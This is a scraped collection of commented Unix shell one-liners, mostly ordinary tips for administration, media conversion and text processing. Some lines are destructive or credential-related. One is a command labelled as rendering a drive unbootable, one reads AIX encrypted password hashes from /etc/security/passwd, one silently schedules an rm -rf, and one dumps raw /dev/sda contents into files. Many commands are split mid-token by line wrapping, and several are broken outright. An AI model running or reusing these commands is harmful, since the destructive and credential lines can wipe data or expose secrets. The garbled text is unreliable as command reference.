bash -x test.sh 2>&1 | tee out.test
```

calculate established tcp connection of local machine

```
netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
```

Function to output an ASCII character given its decimal equivalent

```
chr () { echo -en "\0$(printf %x $1)"}
```

Log colorizer for OSX (ccze alternative)

```
tail -f /var/log/system.log | colorizer
```

```

# Get information on your graphics card on linux (such as graphics memory size)
lspci -v -s `lspci | awk '/VGA/{print $1}`

# Perl one-liner to determine number of days since the Unix epoch
perl -e 'printf qq{%d\n}, time/86400;'

# apt-get via sudo
apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }

# Send test prints to networked printer.
echo "test" | lp -d $PRINTER

# View an info page on a nice interface
yelp info:foo

# Install an mpkg from the command line on OSX
sudo installer -pkg /Volumes/someapp/someapp.mpkg -target /

# List all installed Debian packages
dpkg --get-selections | grep -v deinstall | cut -f 1

# get the ascii number with bash builtin printf
printf "%d\n" "'A" "'B"

# move all files older than 60 days to a folder
find ./ * -mtime +60 -exec mv {} storeFolder \;

# Are the two lines anagrams?
anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "no
t ";echo anagram; }; anagram foobar farboo;

# cd into the latest directory
alias cd1='cd $( ls -lt | grep ^d | head -1 | cut -b 51- )'

# Find out when your billion-second anniversary is (was). (on OS X)
date -j -v +1000000000S -f %m%d%Y mmdyyyy

# Display IP address of the given interface in a most portable and reliable way.
That should works on many platforms.
x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -
e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>

# For finding out if something is listening on a port and if so what the daemon
is.
sockstat -4l

# To get the CPU temperature continuously on the desktop
while sleep 1; do acpi -t | osd_cat -p bottom; done &

# change microdvd subtitles framerate
cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+
)}/=2=/; $f2=(24/25*$1); $f1=~s/\.*//; $f2=~s/\.*//; s/=1/{$f1}/; s/=2/{$f2
}/; ' > subtitles_newfps.txt

# Find out when your billion-second anniversary is (was).
date -j -v +1000000000S -f %m%d%Y mmdYYYY

# Get decimal ascii code from character

```



```

echo -n a | od -d | sed -n "s/^.* //gp"

# Short Information about loaded kernel modules
lsmod | sed -e '1d' -e 's/\(\([^\ ]*\)\)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d

# Easily decode unix-time (function)
utime(){ date -d "1970-01-01 GMT $1 seconds"; }

# find the biggest file in current folder
ls -S|head -1find

# Find Out My Linux Distribution Name and Version
lsb_release -ri

# Watch YouTube and other Flash videos via mplayer (or whatever)
mplayer $(ls -t /tmp/Flash*|head -1)

# txt2html
recode ..HTML < file.txt > file.html

# bash/ksh function: given a file, cd to the directory it lives
function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd }

# Search for a <pattern> string inside all files in the current directory
find . -type f -exec grep -i <pattern> \;

# rotate the compiz cube via command line
wmctrl -o 1280,0

# Create commands to download all of your Google docs
google docs list |awk 'BEGIN { FS = "," }; {print "\"" $1 "\""}'|sed s/^/google\ d
ocs\ get\ /|awk ' {print $0, "."}'

# Set OS X X11 to use installed Mathematica fonts
xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/

# Real time duplication of Apache app traffic to a second server
nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{prin
t $7}' | grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null'

# Text to image with transparent background
convert -background none -pointsize 55 label:"`whoami`" me.png

# Throttling Bandwidth On A Mac
sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80

# Access to specific man page section
man 5 crontab

# Search for a <pattern> string inside all files in the current directory
ack <pattern>

# Testing hard disk writing speed
time dd if=/dev/zero of=TEST bs=4k count=512000

# Easily decode unix-time (function)
utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y', tim
e.localtime($1))"; }

```

```

# Print all environment variables, including hidden ones
for _a in {A..Z} {a..z};do _z=\${!$_a}*};for _i in `eval echo "${_z}"`;do echo
-e "$_i: ${!_i}";done;done|cat -Tsv

# log rm commands
function rm {
    workingdir=$( pwdx $$ | awk '{print $2}' ) /usr/bin/
n/rm $*      echo "rm $* issued at $(date) by the user $(who am i| awk '{prin
t $1}' ) in the directory ${workingdir}" >> /tmp/rm.out }

# Text message on wallpaper
wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gco
nftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'War
n' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/
tmp/w.jpg"; }

# Search for a <pattern> string inside all files in the current directory
grep -r <pattern> * .[!.]*

# Show numerical values for each of the 256 colors in ZSH
for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done

# Convert ascii string to hex
echo "text" | hd

# Kill all Zombie processes if they accept it!
kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'`

# Find Out My Linux Distribution Name and Version
cat /etc/issue

# Get rid from a blank display without reboot
<Ctrl><Alt><F6> killall5

# Quick syntax highlighting with multiple output formats
$ python -m pygments -o source.html source.py

# Clone /
find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o
-path ./proc -prune -o -print | cpio -pumd /destination && mkdir /destination/mn
t/ && mkdir /destination/proc && mkdir /destination/sys

# cd into another dir to run a one-liner, but implicitly drop back to your $OLD_
PWD after
( cd $DIR; command; )

# burn backed up xbox 360 games
growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat
-speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso

# Delete more than one month old thumbnails from home directory
find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm

# bash function to check for something every 5 seconds
function checkfor () { while ;; do $*; sleep 5; done; }

# Normalize volume in your mp3 library
find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +

```

```

# watch snapshots commit in VMware ESX
watch 'ls -tough --full-time *.vmdk'

# tar pipe to copy files, alternate to cp -Ra
(cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)

# Compare copies of a file with md5
diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut -d " " -f 1);echo $?

# Doing some floating point calculations with rounding (e.g. at the 3rd decimal)
echo '123/7' |bc -l |xargs printf "%.3f\n"

# Open Vim with two windows
vim -c new myfile

# recursive transform all contents of files to lowercase
find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/'

# Random IPv4 address
perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;'

# List all Samba user name
pdbedit -w -L | awk -F":" '{print $1}'

# find files in a date range
touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer end

# Show the last 20 sessions logged on the machine
last -n 20

# Watching Command
watch 'cat /proc/loadavg'

# monitor system load
tload -s 10

# Get length of current playlist in xmms2
xmms2 list | sed -n -e 'li\0' -e 's/^(.*\([0-9]*\)):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'

# Add all unversioned files to svn
svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add

# find file/dir by excluding some unwanted dirs and filesystems
find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print

# Automatically connect to a host with ssh once it is online
var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var

# Mount a windows partition in a dual boot linux installation with write permission...[Read and Write]
mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force

# Resolve a list of domain names to IP addresses
awk < file.name '{ system("resolveip -s " $1) }'

# Battery real life energy vs predicted remaining plotted
echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.

```

```

txt'

# Encoding from AVI to MPEG format
mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \      -oac cop
y other_options -o output.mpg

# Watch the progress of 'dd'
dcfldd if=/dev/zero of=/dev/null

# Find the location of the currently loaded php.ini file
php --ini

# Solaris - check ports/sockets which process has opened
/usr/proc/bin/pfiles $PID | egrep "sockname|port"

# Testing reading speed with dd
sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`

# Mostly silent FLAC checking (only errors are displayed)
flac -ts *.flac

# concatenate compressed and uncompressed logs
zgrep -h "" `ls -tr access.log*`

# Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P

# Random IPv4 address
perl -le '$,=".";print map int rand 256,1..4'

# Create a false directory structure for testing your commands
for each in /usr/bin/*; do echo $each | sed 's/\//usr/bin\/\\\/' | xargs touch; do
ne

# easy C shell math calculators
alias calc 'echo "scale=4; \!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l'

# Make a statistic about the lines of code
find . -type f -name "*.c" -exec cat {} \; | wc -l

# postgresql SQL to show count of ALL tables (relations) including relation-size
SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_nam
espace n ON (relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public'
ORDER BY relname;

# Pass the proxy server address as a prefix to wget
http_proxy=<proxy.server:port> wget <url>

# Gets the english pronunciation of a phrase
say() { local IFS=+; mplayer "http://translate.google.com/translate_tts?q=$*"; }

# tar via network
tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -
"

# Find and copy files from subdirectories to the current directory
find ./ -iname '*avi' -exec cp {} ./ \;

# Show a listing of open mailbox files (or whatever you want to modify it to sho

```

```

w)
lsof | grep "/var/spool/mail/"

# Resume an emerge, and keep all object files that are already built
FEATURES=keepwork emerge --resume

# rename a file to its md5sum
md5sum * | sed 's/^\(\w*\)\s*\(.*)/\2 \1/' | while read LINE; do mv $LINE; done

# Copy recursively files of specific filetypes
rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' <source
cedir> <destdir>

# finding cr-lf files aka dos files with ^M characters
find . -type f -exec fgrep -l '$\r' "{}" \;

# Find duplicate files, using sha1 hash
for i in $(find . -type f -exec sha1 -r {} \+ |tee .hashes.tmp |awk '{print $1}'
|sort |uniq -d); do grep $i .hashes.tmp; echo; done;

# auto terminal title change
echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"

# Extract icons from windows exe/dll
wrestool -x --output . -t14 /path/to/your-file.exe

# Change timestamp on a file
touch -amct [[CC]YY]MMDDhhmm[.ss] FILE

# Get table column names from an MySQL-database in comma-separated form
mysql -u<user> -p<password> -s -e 'DESCRIBE <table>' <database> | tail -n +1 |
awk '{ printf($1",")}' | head -c -1

# perl insert character on the first line on your file
perl -i~ -0777pe's/^\!#\usr/bin/ksh\n/' testing

# Use tagged vlans
sudo vconfig add eth0 [VID]

# ignore .DS_Store forever in GIT
echo .DS_Store >> ~/.gitignore

# Create a tar of directory structure only
find . -type d|xargs tar rf ~/dirstructure.tar --no-recursion

# return a titlecased version of the string
title() { string=( $@ ); echo ${string[@]^} }

# count the appearance of a word or a string in a given webpage
wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w

# badblocks for floppy
/sbin/badblocks -v /dev/fd0 1440

# show last revision log on svn update
svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r

# See multiple progress bars at once for multiple pipes with pv
pv -cN orig < foo.tar.bz2 | bzip2 | pv -cN bzip2 | gzip -9 | pv -cN gzip > foo.t

```

```
ar.gz
```

```
# Remove all the files except abc in the directory  
rm ^'name with spaces'
```

```
# dhcdrop - testing/suppression/tracking false DHCP servers  
sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55
```

```
# Compress archive(s) or directory(ies) and split the output file  
rar a -m5 -v5M -R myarchive.rar /home/
```

```
# Limit the rate of traffic to a particular address with tc.  
tc qdisc add dev <dev> root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class  
add dev <dev> parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded i  
solated;tc filter add dev <dev> parent 1: protocol ip prio 16 u32 match ip dst <  
ip> flowid 1:1
```

```
# How To Get the Apache Document Root  
awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default
```

```
# Countdown Clock  
MIN=10 && for i in $(seq $((($MIN*60)) -1 1)); do printf "\r%02d:%02d:%02d" $((i/3  
600)) $(( (i/60)%60)) $((i%60)); sleep 1; done
```

```
# Set keyboard layout in X  
setxkbmap it
```

```
# Show seconds since modified of newest modified file in directory  
FILE=`ls -ltr /var/lib/pgsqli/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIM  
E=`stat -c %Y /var/lib/pgsqli/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-T  
IME))
```

```
# List of countries  
curl -s http://www.infoplease.com/countries.html | grep "<td" | grep ipa | sed  
-e 's#html">#\n#g' | cut -f 1 -d\< | grep -v "^ \ $"
```

```
# Automagically create a /etc/hosts file based on your DHCP list (only works on  
Linksys WRT54G router)  
curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '<td>.* <  
</td>' | sed 's|<td>\(.*) </td>\r|\1|' | tr '\n' ';' | sed 's/\([^\;]*\); \([^\;]  
*\);/\2\t\1\n/g'
```

```
# sorted list of dhcp allocations  
grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k  
2,2n -k 3,3n -k 4,4n | uniq
```

```
# Stream and save Youtube video  
wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S309qi2E2U'` -O - | tee -a  
parachute-ending.flv | mplayer -cache 8192 -
```

```
# Show seconds since modified of newest modified file in directory  
ls -atr /home/reports/*.csv -o --time-sty=%s | tail -1 | awk '{print systime()-  
$5}'
```

```
# Remove old kernels and header data in Ubuntu/Debian  
sudo apt-get -y purge $(dpkg --get-selections | awk '(/^linux-/) && ([0-9]\./)  
&& (!/'"uname -r | sed "s/-generic//g"'"/)) {print $1}')
```

```
# How many world writeable files on your system? (Mandriva Linux msec)  
# wc -l /var/log/security/writable.today
```

```

# Transfer Entire recursive from one host to another. Only copies files that are
  newer or do not exist
rsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir

# umount sshfs mounted directory
fusermount -u ~/sshfs_mounted_directory

# Title Case Files
rename 's/([^|[\s\(\)\[\]\_]) ([a-z])/s1\u$2/g' *

# Key binding to search commandlinefu.com
function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST'
);"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.
com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k":'\
"ds\C-m"'

# Title Case Files
rename 's/\b([a-z])/\u$1/g' *

# Count lines using wc.
wc -l file.txt

# decompiler for jar files using jad
unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null
  && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi
  99 -space -stat ; rm -r /tmp/unjar/$1 ; }

# print all paragraphs containing string
cat file1 file2|awk -v RS='paragraph delimiter' '{print $0"\n"}'|sed -e '/./{H;$
!d;}' -e 'x;/string to search;!d;'

# Play a stream and give back the shell
wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestr
eam.pls*

# print all characters of any file in human readable form using hexdump
hexdump -c <file>

# create SQL-statements from textfile with awk
for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where
id = \"\$each\";"; done

# Recursively remove all empty directories
find . -type d | tac | xargs rmdir 2> /dev/null

# download with checksum
wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html

# uncomment the lines where the word DEBUG is found
sed 's/^#\(. *DEBUG\)/\1/' $FILE

# print offsets of file disk for losetup/loop-mount
/sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s
/B:[:digit:]*B:/ --sizelimit=/; s/B:/ [;/ s/:.*//]'

# search the pattern from bzip2'ed file
bzipgrep -i "pattern" pattern.bz2

```

```

# Convert man page to PDF
man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps

# Count repeated lines, listing them in descending order of frequency
LC_ALL=C sort file | uniq -c | sort -n -k1 -r

# Legacy MacOS to Unix text convert using perl
perl -i -pe 's/\r/\n/g' file

# ARP Scan
if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; ar
ping -c 1 10.1.1.$i | grep reply ; done ; fi

# IP:PORT to IP:PORT:COUNTRY using geoipllookup
for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoipllookup -f /usr/local/share/
GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":" ip.txt out
.txt>zoom.txt

# Batch resize image to exact given resolution ignoring aspect ratio
mogrify -resize 600x800! *.jpg

# Schedule a script or command in x num hours, silently run in the background ev
en if logged out
echo "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at
now + 3 hours 1>&2 &>/dev/null

# Merge - Concate MP3 files
sox *.mp3 -t wavpcm - | lame - > bunch.mp3

# Cd Deluxe - improved cd command for *nix and windows
cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS]

# Compile a latex doc to generate index
ruby -e " 3.times { system 'pdflatex mydoc.tex' } "

# Download full FLAC albums from archive.org
wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album

# Remount an already-mounted filesystem without unmounting it
mount -o remount,ro /dev/foo /

# Run last history entry based on a given command
![command]

# Grep across a directory and open matching files in vim (one tab per file)
vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n`

# Convert windows text file to linux text document
tr -d "\r" < dos.txt > linux.txt

# encode HTML entities
perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt

# Puts every word from a file into a new line
awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE

# A DESTRUCTIVE command to render a drive unbootable
badblocks -vfw /dev/fd0 10000 ; reboot

```



```

# the executable that started the currently running oracle databases and the ORACLE_HOME relative to each
ps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut -f1,2,3 -d" "

# Play files with mplayer, including files in sub-directories, and have keyboard shortcuts work
mplayer -playlist <(find $PWD -type f)

# Iterate through screens
for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_ =~ /\^(\\d+)/; print $1;`; do screen -x $pid; done

# Find all relevant certificates (excluding some dirs) and list them each
for crt in $(locate -r '.*\\.crt' | grep -v "/usr/share/ca-certificates/"); do ls -la $crt; done

# Downmix from stereo to mono and play radio stream with mplayer
mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls

# Print the list of all files checked out by Perforce SCM
alias opened='p4 opened | awk -F# "{print \\$1}"'

# To print a specific line from a file
awk 'FNR==5' <file>

# Get your external IP address
wget -qO - http://www.sputnick-area.net/ip;echo

# Create SSH key exchange from one host to the other
cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"

# Play back shell session recorded using the
(IFS=; sed 's/^[ ]0;[^^G]^G/^M/g' <SessionLog> | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo)

# Summarize total storage used by files obtained by a find command
find /path/to/archive/????? -mtime -7 -name "*.pdf" | xargs stat -c "%s" | awk '{sum +=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label'

# generate random password (works on Mac OS X)
env LC_CTYPE=C tr -dc "a-zA-Z0-9_\\$?" < /dev/urandom | head -c 10

# Compress all .txt files to .txt.ta.gz and remove the original .txt
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done

# grep for a list of values and list matching values NOT matching lines each time they match
goo some things you search for < file

# Display PHP files that directly instantiate a given class
find . -name "*.php" -exec grep \-H "new filter_" {} \;

# Revert back all files currently checked out by Perforce SCM for edit
ropened='p4 opened | awk -F# "{print \\$1}" | p4 -x - revert'

```

```

# Generate Files with Random Content and Size in Bash
no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done

# List your Boxee queue
curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/description | awk -F= '{print $2}'

# diff recursively, ignoring CVS control files
diff -x "*CVS*" -r <path-1> <path-2> [<path-3>]

# Show directory sizes, refreshing every 2s
watch 'find -maxdepth 1 -mindepth 1 -type d |xargs du -csh'

# intersection of two arrays
Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six" "seven" );savedIFS="${IFS}";IFS=$'\n';Array3=$(comm -12 <(echo "${Array1[*]}" |sort -u) <(echo "${Array2[*]}" | sort -u));IFS=$savedIFS

# Simplest way to get size (in bytes) of a file
wc -c <filename

# Decompress all .tar.gz files and remove the compressed .tar.gz
for i in *.tar.gz; do tar -x -v -z -f $i && rm -v $i; done

# Perl check if library is installed
perl -e "use SOAP::Lite"

# Check if you need to run LaTeX more times to get the references right
egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log

# Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil animation)
, from the current directory with mencoder
mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi

# Show sorted list of files with sizes more than 1MB in the current dir
find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2

# show tcp syn packets on all network interfaces
tcpdump -i any -n tcp[13] == 2

# Count and show duplicate file names
find . -type f |sed "s#.#/##g" |sort |uniq -c -d

# print all characters of a file using hexdump
xxd <file>

# log your PC's motherboard and CPU temperature along with the current date
date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log

# Edit a file in vim (at the first error) if it is not well formed xml.
vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \\"$1\\" +\"$2; exit}'); }

```

```

# Show a config file without comments
sed -e 's/#.*//;/^\s*$\s*/d'

# touch every file in current folder and subfolder
find . -type f -exec touch "{}" \;

# Get the version of sshd on a remote system
ssh -vN hostname 2>&1 | grep "remote software version"

# count and number lines of output, useful for counting number of matches
ps aux | grep [h]ttptd | cat -n

# Create unique email addresses directly from the US census site*Full command in
  comments
paste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cu
t -d " " -f 1 | sort -uR) <(curl http://.../dist.all.last | cut -d " " -f 1 | s
ort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g'

# find the device when you only know the mount point
df -P | awk '$6==" /media/KINGSTON" {print $1}'

# map a command over a list of files - map-files /lib *.so ls -la
function map-files() { find $1 -name $2 -exec ${@:3} {} \; }

# use md5sum -c recursively through subdirectory tree when every directory has i
ts own checksum file
for i in $(find . -name *md5checksum_file* | sed 's/\(.\./.*\)md5checksum_file.t
xt/\1/'); do cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/check
sum_results.txt | grep -v "<current directory>"

# Export/Backup a PostgreSQL database
pg_dump -U postgres [nomeDB] > db.dump

# run vmware virtual machine from the command line without the gui or X session
vmrun start /path/to/virtual_machine.vmx nogui

# Get Futurama quotations from slashdot.org servers
curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'

# Show a config file without comments
grep -v ^# /etc/somefile.conf | grep .

# prips can be used to print all IP addresses of a specified range.
prips

# Capitalize first letter of each word in a string
echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')"

# Remove blank lines from a file
grep -v "^$" file

# Remove an old gmetric statistic
gmetric -n $METRIC_NAME -v foo -t string -d 10

# get a list of running virtual machines from the command line (vmware)
vmrun list

# bash glob dot-files
shopt -s dotglob

```

```

# Linux zsh one-liner to Determine which processes are using the most swap space
currently
for i in $(ps -ef | awk '{print $2}'); { swp=$( awk '/Swap/{sum+=$2} END {print
sum}' /proc/$i/smmaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $
i "; cat /proc/$i/cmdline ; fi; } | sort -nr

# List only directories, one per line
ls -l | grep ^d | sed 's:.*\ ::g'

# number the line of a file
cat -n file or cat -b file

# Find unused IPs on a given subnet
nmap -sP <subnet>.* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ;
for IP in {1..254} ; do echo "<subnet>.${IP}" ; done >> results.txt ; cat result
s.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u

# Skip banner on ssh login prompt
ssh -q user@server

# convert a string of hex characters into ascii chars
echo $hex | perl -pe 's/(..)/chr(hex($1))/ge'

# Print time and year of file in Solaris (or other Unix ls command that does not
have a simple "--full-list")
perl -e '@F = `ls -l`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]
) . "\n";}'

# List all broadcast addresses for the routes on your host.
for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | g
rep Broadcast | cut -d\ -f 2; done

# umount --rbind mount with submounts
cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umou
nt

# List only directories, one per line
find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n"

# download all jpg in webpage
wget http://www.site.com/ -O- | grep -o 'http://.*jpg' | sort -u | wget -i-

# Check the last 15 package operations (on yum systems)
tail -n 15 /var/log/yum.log | tac

# Replace words with sed
sed /BEGIN/,/END/s/xxx/yyy/g input.txt

# Frequency Sweep
l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done

# skipping five lines, at top, then at bottom
seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5

# Add another tty device using mknod command
sudo mknod /dev/ttyS4 c 4 68

# Remove blank lines from a file using grep and save output to new file
grep -v "^$" filename > newfilename

```

```

# Convert Windows/DOS Text Files to Unix
flip -u <filenames>

# AIX : reset aixuser password lastupdate to now using perl
perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser -a \"lastup
date=$now\""'

# Read AIX local user encrypted password from /etc/security/passwd
user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$
3; } }" < /etc/security/passwd

# lsof - cleaned up for just open listening ports, the process, and the owner of
the process
lsof -iTCP -sTCP:LISTEN

# Extracting the audio part of a track as a wav file
mplayer -vc null -vo null -ao pcm <filename>

# change to the selected directory for zsh users
alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'

# View the octal dump of a file
od -vt x1 /tmp/spaghettilfile

# Report What Tape is in Autoloader Mailslot (using Barcode Label)
mtx -f /dev/sgl3 status | grep EXPORT | cut -c 56-63

# Print time and year of file in Solaris (or other Unix ls command that does not
have a simple
perl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_. "\n"}'

# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do echo "### $line "; unzip -l $line; do
ne | grep "^###\|you-string" |less

# number files in directory according to their modification time
IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; d
o mv "$f" $(echo "$i"."$f"); ((i++)); done

# check apache2 status with a lot of details
apachectl fullstatus

# Command to import Mysql database with a progress bar.
pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME

# Check remote hosts server
curl -Is http://www.google.com | grep -E '^Server'

# send files via ssh-xfer
cat somefilehere.txt | ssh-xfer nametocallfile.txt -

# Search gdb help pages
gdb command: apropos <keyword>

# Check syntax of all PHP files before an SVN commit
for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\\s+//' | awk '{ print $2 }'`
; do if [ ! -d $i ] ; then php -l $i ; fi ; done

```

```

# Overwrite local files from copies in a flat directory, even if they're in a different directory structure
for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done

# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 1)
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0

# cat a config file removing all comments and blank lines
grep -vh '^[[:space:]]*\\(#|\\$\\)' <file>

# Add a list of numbers
echo $((1+2+3+4))

# Generate a Random MAC address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\\+ //;s/ /:/g'

# Get Stuff.
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n "$@" | base64)/plaintext"

# Serve one or more git repositories
git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos

# Show current folder permission recursively from /, useful for debugging ssh key permission
pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\\/ /g` ; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null

